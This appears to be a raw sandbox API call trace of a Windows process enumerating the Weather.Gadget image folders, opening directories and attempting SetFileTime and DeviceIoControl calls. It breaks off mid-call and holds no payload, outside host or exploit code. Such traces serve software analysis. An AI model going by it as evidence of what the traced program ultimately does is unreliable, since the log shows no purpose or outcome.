[0081.013] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0081.014] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.014] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.014] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0081.014] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0081.014] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0081.014] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8680f0bd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8680f0bd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.png", cAlternateFileName="")) returned 1 [0081.014] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="120DPI", cAlternateFileName="")) returned 1 [0081.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.014] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.014] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.015] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.015] NtClose (Handle=0x174) returned 0x0 [0081.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ea18) returned 1 [0081.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0081.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ea18 [0081.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125eb20 [0081.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.037] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.037] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0081.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0081.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12009f8 [0081.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ed30 [0081.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.039] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0081.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200a18 [0081.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ee38 [0081.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200a38 [0081.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ef40 [0081.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.042] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0081.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200a58 [0081.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f048 [0081.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.043] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0081.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200a78 [0081.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f150 [0081.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.044] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0081.044] GetLastError () returned 0x12 [0081.044] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.044] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0081.045] GetLastError () returned 0x12 [0081.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125eb20) returned 1 [0081.045] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ea18) returned 1 [0081.046] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0081.046] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 1 [0081.046] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="144DPI", cAlternateFileName="")) returned 1 [0081.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ea18 [0081.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.047] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.047] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.047] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.047] NtClose (Handle=0x168) returned 0x0 [0081.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ea18) returned 1 [0081.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0081.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ea18 [0081.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.048] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0081.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125eb20 [0081.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0081.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200a98 [0081.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f258 [0081.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0081.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.052] RtlFreeHeap 